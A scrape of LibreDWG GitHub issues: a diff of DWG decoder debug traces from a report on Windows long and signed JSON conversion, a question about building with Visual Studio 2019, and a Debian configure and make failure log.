> num_entries: 3 [BS 70]
484,485c484,486
< crc: 5E17 [RSx]
< check_CRC 17: 5E17 == 5E17
---
> entries[2]: (2.2.12D) abs:301 [H* 0]
> crc: A957 [RSx]
> check_CRC 20: A957 == A957
801,802c802,803
< crc: 9910 [RSx]
< check_CRC 65: 9910 == 9910
---
> crc: 7CBD [RSx]
> check_CRC 65: 7CBD == 7CBD
990,991c991,992
< crc: 30AD [RSx]
< check_CRC 188: 30AD == 30AD
---
> crc: E321 [RSx]
> check_CRC 188: E321 == E321
1068,1069c1069,1070
< DIMLWD: -2 [BSd 371]
< DIMLWE: -2 [BSd 372]
---
> DIMLWD: -1 [BSd 371]
> DIMLWE: -1 [BSd 372]
1075,1076c1076,1077
< crc: 48DC [RSx]
< check_CRC 121: 48DC == 48DC
---
> crc: 375C [RSx]
> check_CRC 121: 375C == 375C
1740,1741c1741,1742
< crc: 5AF5 [RSx]
< check_CRC 157: 5AF5 == 5AF5
---
> crc: F08D [RSx]
> check_CRC 157: F08D == F08D
1745,1749c1746,1749
< Object number: 45/2D, Size: 90 [MS], Type: 505 [BS]
< Warning: Unstable Class object 505 MATERIAL (0x400) 45/0
< Add object MATERIAL [45] Decode object MATERIAL
< bitsize: 660 [RL] @4.2
< Hdlsize: 0x3C,
---
> Object number: 45/2D, Size: 33 [MS], Type: 501 [BS]
> Add object PLACEHOLDER [45] Decode object PLACEHOLDER
> bitsize: 208 [RL] @4.2
> Hdlsize: 0x38,
1750a1751,1754
> EED[0] size: 12 [BS]
> EED[0] handle: 5.2.12D
> EED[0] raw: 12
> EED[0] code: 0 [RC], string: len=8 [RC] cp=30 [RS_BE] "MATERIAL" [TF]
1752c1756,1758
< num_eed: 0
---
>
>
> num_eed: 1
1757,1900c1763,1764
< name: "ByLayer" [T 1]
< description: "" [T 2]
< ambient_color.flag: 0x0 [RC 70]
< ambient_color.factor: 1 [BD 40]
< diffuse_color.flag: 0x0 [RC 71]
< diffuse_color.factor: 1 [BD 41]
< diffusemap.blendfactor: 1 [BD 42]
< diffusemap.projection: 0x1 [RC 73]
< diffusemap.tiling: 0x1 [RC 74]
< diffusemap.autotransform: 0x1 [RC 75]
< diffusemap.transmatrix[0]: 1 [BD 43]
< diffusemap.transmatrix[1]: 0 [BD 43]
< diffusemap.transmatrix[2]: 0 [BD 43]
< diffusemap.transmatrix[3]: 0 [BD 43]
< diffusemap.transmatrix[4]: 0 [BD 43]
< diffusemap.transmatrix[5]: 1 [BD 43]
< diffusemap.transmatrix[6]: 0 [BD 43]
< diffusemap.transmatrix[7]: 0 [BD 43]
< diffusemap.transmatrix[8]: 0 [BD 43]
< diffusemap.transmatrix[9]: 0 [BD 43]
< diffusemap.transmatrix[10]: 1 [BD 43]
< diffusemap.transmatrix[11]: 0 [BD 43]
< diffusemap.transmatrix[12]: 0 [BD 43]
< diffusemap.transmatrix[13]: 0 [BD 43]
< diffusemap.transmatrix[14]: 0 [BD 43]
< diffusemap.transmatrix[15]: 1 [BD 43]
< diffusemap.source: 0x1 [RC 72]
< diffusemap.filename: "" [T 3]
< specular_color.flag: 0x0 [RC 76]
< specular_color.factor: 1 [BD 45]
< specularmap.blendfactor: 1 [BD 46]
< specularmap.projection: 0x1 [RC 78]
< specularmap.tiling: 0x1 [RC 79]
< specularmap.autotransform: 0x1 [RC 170]
< specularmap.transmatrix[0]: 1 [BD 47]
< specularmap.transmatrix[1]: 0 [BD 47]
< specularmap.transmatrix[2]: 0 [BD 47]
< specularmap.transmatrix[3]: 0 [BD 47]
< specularmap.transmatrix[4]: 0 [BD 47]
< specularmap.transmatrix[5]: 1 [BD 47]
< specularmap.transmatrix[6]: 0 [BD 47]
< specularmap.transmatrix[7]: 0 [BD 47]
< specularmap.transmatrix[8]: 0 [BD 47]
< specularmap.transmatrix[9]: 0 [BD 47]
< specularmap.transmatrix[10]: 1 [BD 47]
< specularmap.transmatrix[11]: 0 [BD 47]
< specularmap.transmatrix[12]: 0 [BD 47]
< specularmap.transmatrix[13]: 0 [BD 47]
< specularmap.transmatrix[14]: 0 [BD 47]
< specularmap.transmatrix[15]: 1 [BD 47]
< specularmap.source: 0x1 [RC 77]
< specularmap.filename: "" [T 4]
< specular_gloss_factor: 0.5 [BD 0]
< reflectionmap.blendfactor: 1 [BD 48]
< reflectionmap.projection: 0x1 [RC 172]
< reflectionmap.tiling: 0x1 [RC 173]
< reflectionmap.autotransform: 0x1 [RC 174]
< reflectionmap.transmatrix[0]: 1 [BD 49]
< reflectionmap.transmatrix[1]: 0 [BD 49]
< reflectionmap.transmatrix[2]: 0 [BD 49]
< reflectionmap.transmatrix[3]: 0 [BD 49]
< reflectionmap.transmatrix[4]: 0 [BD 49]
< reflectionmap.transmatrix[5]: 1 [BD 49]
< reflectionmap.transmatrix[6]: 0 [BD 49]
< reflectionmap.transmatrix[7]: 0 [BD 49]
< reflectionmap.transmatrix[8]: 0 [BD 49]
< reflectionmap.transmatrix[9]: 0 [BD 49]
< reflectionmap.transmatrix[10]: 1 [BD 49]
< reflectionmap.transmatrix[11]: 0 [BD 49]
< reflectionmap.transmatrix[12]: 0 [BD 49]
< reflectionmap.transmatrix[13]: 0 [BD 49]
< reflectionmap.transmatrix[14]: 0 [BD 49]
< reflectionmap.transmatrix[15]: 1 [BD 49]
< reflectionmap.source: 0x1 [RC 171]
< reflectionmap.filename: "" [T 6]
< opacity_percent: 1 [BD 140]
< opacitymap.blendfactor: 1 [BD 141]
< opacitymap.projection: 0x1 [RC 176]
< opacitymap.tiling: 0x1 [RC 177]
< opacitymap.autotransform: 0x1 [RC 178]
< opacitymap.transmatrix[0]: 1 [BD 142]
< opacitymap.transmatrix[1]: 0 [BD 142]
< opacitymap.transmatrix[2]: 0 [BD 142]
< opacitymap.transmatrix[3]: 0 [BD 142]
< opacitymap.transmatrix[4]: 0 [BD 142]
< opacitymap.transmatrix[5]: 1 [BD 142]
< opacitymap.transmatrix[6]: 0 [BD 142]
< opacitymap.transmatrix[7]: 0 [BD 142]
< opacitymap.transmatrix[8]: 0 [BD 142]
< opacitymap.transmatrix[9]: 0 [BD 142]
< opacitymap.transmatrix[10]: 1 [BD 142]
< opacitymap.transmatrix[11]: 0 [BD 142]
< opacitymap.transmatrix[12]: 0 [BD 142]
< opacitymap.transmatrix[13]: 0 [BD 142]
< opacitymap.transmatrix[14]: 0 [BD 142]
< opacitymap.transmatrix[15]: 1 [BD 142]
< opacitymap.source: 0x1 [RC 175]
< opacitymap.filename: "" [T 7]
< bumpmap.blendfactor: 1 [BD 143]
< bumpmap.projection: 0x1 [RC 270]
< bumpmap.tiling: 0x1 [RC 271]
< bumpmap.autotransform: 0x1 [RC 272]
< bumpmap.transmatrix[0]: 1 [BD 144]
< bumpmap.transmatrix[1]: 0 [BD 144]
< bumpmap.transmatrix[2]: 0 [BD 144]
< bumpmap.transmatrix[3]: 0 [BD 144]
< bumpmap.transmatrix[4]: 0 [BD 144]
< bumpmap.transmatrix[5]: 1 [BD 144]
< bumpmap.transmatrix[6]: 0 [BD 144]
< bumpmap.transmatrix[7]: 0 [BD 144]
< bumpmap.transmatrix[8]: 0 [BD 144]
< bumpmap.transmatrix[9]: 0 [BD 144]
< bumpmap.transmatrix[10]: 1 [BD 144]
< bumpmap.transmatrix[11]: 0 [BD 144]
< bumpmap.transmatrix[12]: 0 [BD 144]
< bumpmap.transmatrix[13]: 0 [BD 144]
< bumpmap.transmatrix[14]: 0 [BD 144]
< bumpmap.transmatrix[15]: 1 [BD 144]
< bumpmap.source: 0x1 [RC 179]
< bumpmap.filename: "" [T 8]
< refraction_index: 1 [BD 145]
< refractionmap.blendfactor: 1 [BD 146]
< refractionmap.projection: 0x1 [RC 274]
< refractionmap.tiling: 0x1 [RC 275]
< refractionmap.autotransform: 0x1 [RC 276]
< refractionmap.transmatrix[0]: 1 [BD 147]
< refractionmap.transmatrix[1]: 0 [BD 147]
< refractionmap.transmatrix[2]: 0 [BD 147]
< refractionmap.transmatrix[3]: 0 [BD 147]
< refractionmap.transmatrix[4]: 0 [BD 147]
< refractionmap.transmatrix[5]: 1 [BD 147]
< refractionmap.transmatrix[6]: 0 [BD 147]
< refractionmap.transmatrix[7]: 0 [BD 147]
< refractionmap.transmatrix[8]: 0 [BD 147]
< refractionmap.transmatrix[9]: 0 [BD 147]
< refractionmap.transmatrix[10]: 1 [BD 147]
< refractionmap.transmatrix[11]: 0 [BD 147]
< refractionmap.transmatrix[12]: 0 [BD 147]
< refractionmap.transmatrix[13]: 0 [BD 147]
< refractionmap.transmatrix[14]: 0 [BD 147]
< refractionmap.transmatrix[15]: 1 [BD 147]
< refractionmap.source: 0x0 [RC 273]
< crc: 01EB [RSx]
< check_CRC 92: 01EB == 01EB
---
> crc: EF1F [RSx]
> check_CRC 35: EF1F == EF1F
1904,1908c1768,1771
< Object number: 46/2E, Size: 90 [MS], Type: 505 [BS]
< Warning: Unstable Class object 505 MATERIAL (0x400) 46/0
< Add object MATERIAL [46] Decode object MATERIAL
< bitsize: 660 [RL] @4.2
< Hdlsize: 0x3C,
---
> Object number: 46/2E, Size: 33 [MS], Type: 501 [BS]
> Add object PLACEHOLDER [46] Decode object PLACEHOLDER
> bitsize: 208 [RL] @4.2
> Hdlsize: 0x38,
1909a1773,1776
> EED[0] size: 12 [BS]
> EED[0] handle: 5.2.12D
> EED[0] raw: 12
> EED[0] code: 0 [RC], string: len=8 [RC] cp=30 [RS_BE] "MATERIAL" [TF]
1911c1778,1780
< num_eed: 0
---
>
>
> num_eed: 1
1916,2059c1785,1786
< name: "ByBlock" [T 1]
< description: "" [T 2]
< ambient_color.flag: 0x0 [RC 70]
< ambient_color.factor: 1 [BD 40]
< diffuse_color.flag: 0x0 [RC 71]
< diffuse_color.factor: 1 [BD 41]
< diffusemap.blendfactor: 1 [BD 42]
< diffusemap.projection: 0x1 [RC 73]
< diffusemap.tiling: 0x1 [RC 74]
< diffusemap.autotransform: 0x1 [RC 75]
< diffusemap.transmatrix[0]: 1 [BD 43]
< diffusemap.transmatrix[1]: 0 [BD 43]
< diffusemap.transmatrix[2]: 0 [BD 43]
< diffusemap.transmatrix[3]: 0 [BD 43]
< diffusemap.transmatrix[4]: 0 [BD 43]
< diffusemap.transmatrix[5]: 1 [BD 43]
< diffusemap.transmatrix[6]: 0 [BD 43]
< diffusemap.transmatrix[7]: 0 [BD 43]
< diffusemap.transmatrix[8]: 0 [BD 43]
< diffusemap.transmatrix[9]: 0 [BD 43]
< diffusemap.transmatrix[10]: 1 [BD 43]
< diffusemap.transmatrix[11]: 0 [BD 43]
< diffusemap.transmatrix[12]: 0 [BD 43]
< diffusemap.transmatrix[13]: 0 [BD 43]
< diffusemap.transmatrix[14]: 0 [BD 43]
< diffusemap.transmatrix[15]: 1 [BD 43]
< diffusemap.source: 0x1 [RC 72]
< diffusemap.filename: "" [T 3]
< specular_color.flag: 0x0 [RC 76]
< specular_color.factor: 1 [BD 45]
< specularmap.blendfactor: 1 [BD 46]
< specularmap.projection: 0x1 [RC 78]
< specularmap.tiling: 0x1 [RC 79]
< specularmap.autotransform: 0x1 [RC 170]
< specularmap.transmatrix[0]: 1 [BD 47]
< specularmap.transmatrix[1]: 0 [BD 47]
< specularmap.transmatrix[2]: 0 [BD 47]
< specularmap.transmatrix[3]: 0 [BD 47]
< specularmap.transmatrix[4]: 0 [BD 47]
< specularmap.transmatrix[5]: 1 [BD 47]
< specularmap.transmatrix[6]: 0 [BD 47]
< specularmap.transmatrix[7]: 0 [BD 47]
< specularmap.transmatrix[8]: 0 [BD 47]
< specularmap.transmatrix[9]: 0 [BD 47]
< specularmap.transmatrix[10]: 1 [BD 47]
< specularmap.transmatrix[11]: 0 [BD 47]
< specularmap.transmatrix[12]: 0 [BD 47]
< specularmap.transmatrix[13]: 0 [BD 47]
< specularmap.transmatrix[14]: 0 [BD 47]
< specularmap.transmatrix[15]: 1 [BD 47]
< specularmap.source: 0x1 [RC 77]
< specularmap.filename: "" [T 4]
< specular_gloss_factor: 0.5 [BD 0]
< reflectionmap.blendfactor: 1 [BD 48]
< reflectionmap.projection: 0x1 [RC 172]
< reflectionmap.tiling: 0x1 [RC 173]
< reflectionmap.autotransform: 0x1 [RC 174]
< reflectionmap.transmatrix[0]: 1 [BD 49]
< reflectionmap.transmatrix[1]: 0 [BD 49]
< reflectionmap.transmatrix[2]: 0 [BD 49]
< reflectionmap.transmatrix[3]: 0 [BD 49]
< reflectionmap.transmatrix[4]: 0 [BD 49]
< reflectionmap.transmatrix[5]: 1 [BD 49]
< reflectionmap.transmatrix[6]: 0 [BD 49]
< reflectionmap.transmatrix[7]: 0 [BD 49]
< reflectionmap.transmatrix[8]: 0 [BD 49]
< reflectionmap.transmatrix[9]: 0 [BD 49]
< reflectionmap.transmatrix[10]: 1 [BD 49]
< reflectionmap.transmatrix[11]: 0 [BD 49]
< reflectionmap.transmatrix[12]: 0 [BD 49]
< reflectionmap.transmatrix[13]: 0 [BD 49]
< reflectionmap.transmatrix[14]: 0 [BD 49]
< reflectionmap.transmatrix[15]: 1 [BD 49]
< reflectionmap.source: 0x1 [RC 171]
< reflectionmap.filename: "" [T 6]
< opacity_percent: 1 [BD 140]
< opacitymap.blendfactor: 1 [BD 141]
< opacitymap.projection: 0x1 [RC 176]
< opacitymap.tiling: 0x1 [RC 177]
< opacitymap.autotransform: 0x1 [RC 178]
< opacitymap.transmatrix[0]: 1 [BD 142]
< opacitymap.transmatrix[1]: 0 [BD 142]
< opacitymap.transmatrix[2]: 0 [BD 142]
< opacitymap.transmatrix[3]: 0 [BD 142]
< opacitymap.transmatrix[4]: 0 [BD 142]
< opacitymap.transmatrix[5]: 1 [BD 142]
< opacitymap.transmatrix[6]: 0 [BD 142]
< opacitymap.transmatrix[7]: 0 [BD 142]
< opacitymap.transmatrix[8]: 0 [BD 142]
< opacitymap.transmatrix[9]: 0 [BD 142]
< opacitymap.transmatrix[10]: 1 [BD 142]
< opacitymap.transmatrix[11]: 0 [BD 142]
< opacitymap.transmatrix[12]: 0 [BD 142]
< opacitymap.transmatrix[13]: 0 [BD 142]
< opacitymap.transmatrix[14]: 0 [BD 142]
< opacitymap.transmatrix[15]: 1 [BD 142]
< opacitymap.source: 0x1 [RC 175]
< opacitymap.filename: "" [T 7]
< bumpmap.blendfactor: 1 [BD 143]
< bumpmap.projection: 0x1 [RC 270]
< bumpmap.tiling: 0x1 [RC 271]
< bumpmap.autotransform: 0x1 [RC 272]
< bumpmap.transmatrix[0]: 1 [BD 144]
< bumpmap.transmatrix[1]: 0 [BD 144]
< bumpmap.transmatrix[2]: 0 [BD 144]
< bumpmap.transmatrix[3]: 0 [BD 144]
< bumpmap.transmatrix[4]: 0 [BD 144]
< bumpmap.transmatrix[5]: 1 [BD 144]
< bumpmap.transmatrix[6]: 0 [BD 144]
< bumpmap.transmatrix[7]: 0 [BD 144]
< bumpmap.transmatrix[8]: 0 [BD 144]
< bumpmap.transmatrix[9]: 0 [BD 144]
< bumpmap.transmatrix[10]: 1 [BD 144]
< bumpmap.transmatrix[11]: 0 [BD 144]
< bumpmap.transmatrix[12]: 0 [BD 144]
< bumpmap.transmatrix[13]: 0 [BD 144]
< bumpmap.transmatrix[14]: 0 [BD 144]
< bumpmap.transmatrix[15]: 1 [BD 144]
< bumpmap.source: 0x1 [RC 179]
< bumpmap.filename: "" [T 8]
< refraction_index: 1 [BD 145]
< refractionmap.blendfactor: 1 [BD 146]
< refractionmap.projection: 0x1 [RC 274]
< refractionmap.tiling: 0x1 [RC 275]
< refractionmap.autotransform: 0x1 [RC 276]
< refractionmap.transmatrix[0]: 1 [BD 147]
< refractionmap.transmatrix[1]: 0 [BD 147]
< refractionmap.transmatrix[2]: 0 [BD 147]
< refractionmap.transmatrix[3]: 0 [BD 147]
< refractionmap.transmatrix[4]: 0 [BD 147]
< refractionmap.transmatrix[5]: 1 [BD 147]
< refractionmap.transmatrix[6]: 0 [BD 147]
< refractionmap.transmatrix[7]: 0 [BD 147]
< refractionmap.transmatrix[8]: 0 [BD 147]
< refractionmap.transmatrix[9]: 0 [BD 147]
< refractionmap.transmatrix[10]: 1 [BD 147]
< refractionmap.transmatrix[11]: 0 [BD 147]
< refractionmap.transmatrix[12]: 0 [BD 147]
< refractionmap.transmatrix[13]: 0 [BD 147]
< refractionmap.transmatrix[14]: 0 [BD 147]
< refractionmap.transmatrix[15]: 1 [BD 147]
< refractionmap.source: 0x0 [RC 273]
< crc: 435E [RSx]
< check_CRC 92: 435E == 435E
---
> crc: 2AC9 [RSx]
> check_CRC 35: 2AC9 == 2AC9
2063,2067c1790,1793
< Object number: 47/2F, Size: 89 [MS], Type: 505 [BS]
< Warning: Unstable Class object 505 MATERIAL (0x400) 47/0
< Add object MATERIAL [47] Decode object MATERIAL
< bitsize: 652 [RL] @4.2
< Hdlsize: 0x3C,
---
> Object number: 47/2F, Size: 33 [MS], Type: 501 [BS]
> Add object PLACEHOLDER [47] Decode object PLACEHOLDER
> bitsize: 208 [RL] @4.2
> Hdlsize: 0x38,
2068a1795,1798
> EED[0] size: 12 [BS]
> EED[0] handle: 5.2.12D
> EED[0] raw: 12
> EED[0] code: 0 [RC], string: len=8 [RC] cp=30 [RS_BE] "MATERIAL" [TF]
2070c1800,1802
< num_eed: 0
---
>
>
> num_eed: 1
2075,2218c1807,1808
< name: "Global" [T 1]
< description: "" [T 2]
< ambient_color.flag: 0x0 [RC 70]
< ambient_color.factor: 1 [BD 40]
< diffuse_color.flag: 0x0 [RC 71]
< diffuse_color.factor: 1 [BD 41]
< diffusemap.blendfactor: 1 [BD 42]
< diffusemap.projection: 0x1 [RC 73]
< diffusemap.tiling: 0x1 [RC 74]
< diffusemap.autotransform: 0x1 [RC 75]
< diffusemap.transmatrix[0]: 1 [BD 43]
< diffusemap.transmatrix[1]: 0 [BD 43]
< diffusemap.transmatrix[2]: 0 [BD 43]
< diffusemap.transmatrix[3]: 0 [BD 43]
< diffusemap.transmatrix[4]: 0 [BD 43]
< diffusemap.transmatrix[5]: 1 [BD 43]
< diffusemap.transmatrix[6]: 0 [BD 43]
< diffusemap.transmatrix[7]: 0 [BD 43]
< diffusemap.transmatrix[8]: 0 [BD 43]
< diffusemap.transmatrix[9]: 0 [BD 43]
< diffusemap.transmatrix[10]: 1 [BD 43]
< diffusemap.transmatrix[11]: 0 [BD 43]
< diffusemap.transmatrix[12]: 0 [BD 43]
< diffusemap.transmatrix[13]: 0 [BD 43]
< diffusemap.transmatrix[14]: 0 [BD 43]
< diffusemap.transmatrix[15]: 1 [BD 43]
< diffusemap.source: 0x1 [RC 72]
< diffusemap.filename: "" [T 3]
< specular_color.flag: 0x0 [RC 76]
< specular_color.factor: 1 [BD 45]
< specularmap.blendfactor: 1 [BD 46]
< specularmap.projection: 0x1 [RC 78]
< specularmap.tiling: 0x1 [RC 79]
< specularmap.autotransform: 0x1 [RC 170]
< specularmap.transmatrix[0]: 1 [BD 47]
< specularmap.transmatrix[1]: 0 [BD 47]
< specularmap.transmatrix[2]: 0 [BD 47]
< specularmap.transmatrix[3]: 0 [BD 47]
< specularmap.transmatrix[4]: 0 [BD 47]
< specularmap.transmatrix[5]: 1 [BD 47]
< specularmap.transmatrix[6]: 0 [BD 47]
< specularmap.transmatrix[7]: 0 [BD 47]
< specularmap.transmatrix[8]: 0 [BD 47]
< specularmap.transmatrix[9]: 0 [BD 47]
< specularmap.transmatrix[10]: 1 [BD 47]
< specularmap.transmatrix[11]: 0 [BD 47]
< specularmap.transmatrix[12]: 0 [BD 47]
< specularmap.transmatrix[13]: 0 [BD 47]
< specularmap.transmatrix[14]: 0 [BD 47]
< specularmap.transmatrix[15]: 1 [BD 47]
< specularmap.source: 0x1 [RC 77]
< specularmap.filename: "" [T 4]
< specular_gloss_factor: 0.5 [BD 0]
< reflectionmap.blendfactor: 1 [BD 48]
< reflectionmap.projection: 0x1 [RC 172]
< reflectionmap.tiling: 0x1 [RC 173]
< reflectionmap.autotransform: 0x1 [RC 174]
< reflectionmap.transmatrix[0]: 1 [BD 49]
< reflectionmap.transmatrix[1]: 0 [BD 49]
< reflectionmap.transmatrix[2]: 0 [BD 49]
< reflectionmap.transmatrix[3]: 0 [BD 49]
< reflectionmap.transmatrix[4]: 0 [BD 49]
< reflectionmap.transmatrix[5]: 1 [BD 49]
< reflectionmap.transmatrix[6]: 0 [BD 49]
< reflectionmap.transmatrix[7]: 0 [BD 49]
< reflectionmap.transmatrix[8]: 0 [BD 49]
< reflectionmap.transmatrix[9]: 0 [BD 49]
< reflectionmap.transmatrix[10]: 1 [BD 49]
< reflectionmap.transmatrix[11]: 0 [BD 49]
< reflectionmap.transmatrix[12]: 0 [BD 49]
< reflectionmap.transmatrix[13]: 0 [BD 49]
< reflectionmap.transmatrix[14]: 0 [BD 49]
< reflectionmap.transmatrix[15]: 1 [BD 49]
< reflectionmap.source: 0x1 [RC 171]
< reflectionmap.filename: "" [T 6]
< opacity_percent: 1 [BD 140]
< opacitymap.blendfactor: 1 [BD 141]
< opacitymap.projection: 0x1 [RC 176]
< opacitymap.tiling: 0x1 [RC 177]
< opacitymap.autotransform: 0x1 [RC 178]
< opacitymap.transmatrix[0]: 1 [BD 142]
< opacitymap.transmatrix[1]: 0 [BD 142]
< opacitymap.transmatrix[2]: 0 [BD 142]
< opacitymap.transmatrix[3]: 0 [BD 142]
< opacitymap.transmatrix[4]: 0 [BD 142]
< opacitymap.transmatrix[5]: 1 [BD 142]
< opacitymap.transmatrix[6]: 0 [BD 142]
< opacitymap.transmatrix[7]: 0 [BD 142]
< opacitymap.transmatrix[8]: 0 [BD 142]
< opacitymap.transmatrix[9]: 0 [BD 142]
< opacitymap.transmatrix[10]: 1 [BD 142]
< opacitymap.transmatrix[11]: 0 [BD 142]
< opacitymap.transmatrix[12]: 0 [BD 142]
< opacitymap.transmatrix[13]: 0 [BD 142]
< opacitymap.transmatrix[14]: 0 [BD 142]
< opacitymap.transmatrix[15]: 1 [BD 142]
< opacitymap.source: 0x1 [RC 175]
< opacitymap.filename: "" [T 7]
< bumpmap.blendfactor: 1 [BD 143]
< bumpmap.projection: 0x1 [RC 270]
< bumpmap.tiling: 0x1 [RC 271]
< bumpmap.autotransform: 0x1 [RC 272]
< bumpmap.transmatrix[0]: 1 [BD 144]
< bumpmap.transmatrix[1]: 0 [BD 144]
< bumpmap.transmatrix[2]: 0 [BD 144]
< bumpmap.transmatrix[3]: 0 [BD 144]
< bumpmap.transmatrix[4]: 0 [BD 144]
< bumpmap.transmatrix[5]: 1 [BD 144]
< bumpmap.transmatrix[6]: 0 [BD 144]
< bumpmap.transmatrix[7]: 0 [BD 144]
< bumpmap.transmatrix[8]: 0 [BD 144]
< bumpmap.transmatrix[9]: 0 [BD 144]
< bumpmap.transmatrix[10]: 1 [BD 144]
< bumpmap.transmatrix[11]: 0 [BD 144]
< bumpmap.transmatrix[12]: 0 [BD 144]
< bumpmap.transmatrix[13]: 0 [BD 144]
< bumpmap.transmatrix[14]: 0 [BD 144]
< bumpmap.transmatrix[15]: 1 [BD 144]
< bumpmap.source: 0x1 [RC 179]
< bumpmap.filename: "" [T 8]
< refraction_index: 1 [BD 145]
< refractionmap.blendfactor: 1 [BD 146]
< refractionmap.projection: 0x1 [RC 274]
< refractionmap.tiling: 0x1 [RC 275]
< refractionmap.autotransform: 0x1 [RC 276]
< refractionmap.transmatrix[0]: 1 [BD 147]
< refractionmap.transmatrix[1]: 0 [BD 147]
< refractionmap.transmatrix[2]: 0 [BD 147]
< refractionmap.transmatrix[3]: 0 [BD 147]
< refractionmap.transmatrix[4]: 0 [BD 147]
< refractionmap.transmatrix[5]: 1 [BD 147]
< refractionmap.transmatrix[6]: 0 [BD 147]
< refractionmap.transmatrix[7]: 0 [BD 147]
< refractionmap.transmatrix[8]: 0 [BD 147]
< refractionmap.transmatrix[9]: 0 [BD 147]
< refractionmap.transmatrix[10]: 1 [BD 147]
< refractionmap.transmatrix[11]: 0 [BD 147]
< refractionmap.transmatrix[12]: 0 [BD 147]
< refractionmap.transmatrix[13]: 0 [BD 147]
< refractionmap.transmatrix[14]: 0 [BD 147]
< refractionmap.transmatrix[15]: 1 [BD 147]
< refractionmap.source: 0x0 [RC 273]
< crc: 7116 [RSx]
< check_CRC 91: 7116 == 7116
---
> crc: A2BA [RSx]
> check_CRC 35: A2BA == A2BA
2859c2449
< display_brightness_bl: -50 [BLd 44]
---
> display_brightness_bl: 2147483647 [BLd 44]
2862,2863c2452,2453
< crc: 8F28 [RSx]
< check_CRC 105: 8F28 == 8F28
---
> crc: F288 [RSx]
> check_CRC 105: F288 == F288
3202,3203c2792,2793
< crc: E311 [RSx]
< check_CRC 51: E311 == E311
---
> crc: C494 [RSx]
> check_CRC 51: C494 == C494
3244,3245c2834,2835
< crc: 68B9 [RSx]
< check_CRC 189: 68B9 == 68B9
---
> crc: F690 [RSx]
> check_CRC 189: F690 == F690
3717c3307,3328
< Handles page crc: D691 [RSx_BE] (33136-33626 = 490)
---
> Next object: 89 Handleoff: 0x1 [UMC]
> ==========================================
> Object number: 89/59, Size: 25 [MS], Type: 67 [BS]
> Add table record APPID [89] Decode table record APPID
> bitsize: 164 [RL] @3.2
> Hdlsize: 0x24,
> handle: 0.2.12D [H 5]
>
> num_eed: 0
> num_reactors: 0 [BL 0]
> ownerhandle: (4.1.9) abs:9 [H 330]
> xdicobjhandle: (3.0.0) abs:0 [H 360]
> name: "LibreDWG" [T 2]
> is_xref_ref: 1 [B 0]
> is_xref_resolved: 0 [BS 0]
> is_xref_dep: 0 [B 0]
> xref: (5.0.0) abs:0 [H 0]
> unknown: 0x0 [RC 71]
> crc: F3C1 [RSx]
> check_CRC 27: F3C1 == F3C1
>
> Handles page crc: 449B [RSx_BE] (32998-33490 = 492)
3720,3721c3331,3332
< Handles page crc: 01D0 [RSx_BE] (33628-33630 = 2)
< Num objects: 89
---
> Handles page crc: 01D0 [RSx_BE] (33492-33494 = 2)
> Num objects: 90
3724,3725c3335,3336
< last object size: 20 [MS]
< Last Object (end): 33132
---
> last object size: 25 [MS]
> Last Object (end): 32994
3727c3338
< =======> Second Header (start): 33648
---
> =======> Second Header (start): 33512
3729c3340
< address: 33632 [BL 0]
---
> address: 33496 [BL 0]
3749,3750c3360,3361
< sections[2].address: 33136 [BL 0]
< sections[2].size: 496 [BL 0]
---
> sections[2].address: 32998 [BL 0]
> sections[2].size: 498 [BL 0]
3821,3833c3432,3442
< crc: 7AEE [RSx]
< check_CRC 106: 7AEE == 7AEE
< DEBUG_POS @33756.0 (270048)
< 529BCEB5E5F915362B84DE31D76C6040ACDBBFF6EDC355FE
< B :0 BB :1
< RS :39762 / 0x9b52 (16)
< BS :74 / 0x004a (10)
< RL :3050216274 / 0xb5ce9b52 (32)
< RD :3.75917e-48 (64)
< BL :74 / 0x0000004a (10)
< BD :1 (2)
< junk_r14: 0x3615F9E5B5CE9B52 [RLL 0]
< Second Header (end) : 33780
---
> crc: 0201 [RSx]
> check_CRC 106: 0201 == 0201
> DEBUG_POS @33620.0 (268960)
> FFFFFF7F000000002B84DE31D76C6040ACDBBFF6EDC355FE
> B :1 BB :3
> RS :65535 / 0xffff (16)
> BS :256 / 0x0100 (2)
> RL :2147483647 / 0x7fffffff (32)
> RD :1.061e-314 (64)
> junk_r14: 0x7FFFFFFF [RLL 0]
> Second Header (end) : 33644
3835,3836c3444,3445
< =======> Template 4 (start) : 33780
< Template 4 (end) : 33784
---
> =======> Template 4 (start) : 33644
> Template 4 (end) : 33648
3841,3842c3450,3451
< num_objects: 89
< num_object_refs: 252
---
> num_objects: 90
> num_object_refs: 254
3844d3452
< Warning: Object handle not found 301/0x12D
```
|
Windows long and signed JSON conversion
|
https://api.github.com/repos/LibreDWG/libredwg/issues/943/comments
| 18 |
2024-02-27T18:18:18Z
|
2024-03-10T10:46:46Z
|
https://github.com/LibreDWG/libredwg/issues/943
| 2,157,319,839 | 943 |
[
"LibreDWG",
"libredwg"
] |
I got “We do support mingw, clang-cl and now also Visual Studio 2019 via cmake. stdint.h and inttypes.h must be available.” from the readme file. So how to build libredwg with visual studio 2019. Thank you.
|
how to build libredwg with visual studio 2019
|
https://api.github.com/repos/LibreDWG/libredwg/issues/942/comments
| 1 |
2024-02-23T14:55:49Z
|
2024-02-26T11:06:41Z
|
https://github.com/LibreDWG/libredwg/issues/942
| 2,151,259,085 | 942 |
[
"LibreDWG",
"libredwg"
] |
```
woman:~> cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
```
```
woman:~/22/libredwg-0.13.2> ./configure --disable-bindings --enable-write --enable-trace --enable-debug --prefix=/usr/local/stow/libredwg-0.13.2
...
checking if the linker (/usr/bin/ld -m elf_x86_64) is GNU ld... yes
checking for shared library run path origin... done
./configure: line 13766: gl_HOST_CPU_C_ABI_32BIT: command not found
checking how to run the C preprocessor... gcc -E
checking for ELF binary format... yes
checking for the common suffixes of directories in the library search path... ./configure: line 13999: test: !=: unary operator expected
./configure: line 14005: test: !=: unary operator expected
./configure: line 14030: test: =: unary operator expected
./configure: line 14034: test: =: unary operator expected
lib,lib,lib
checking for iconv... yes
...
make
...
Making all in programs
make[2]: Entering directory '/home/skim/22/libredwg-0.13.2/programs'
make[2]: *** No rule to make target 'dwg2ps.1', needed by 'all-am'. Stop.
make[2]: Leaving directory '/home/skim/22/libredwg-0.13.2/programs'
make[1]: *** [Makefile:710: all-recursive] Error 1
make[1]: Leaving directory '/home/skim/22/libredwg-0.13.2'
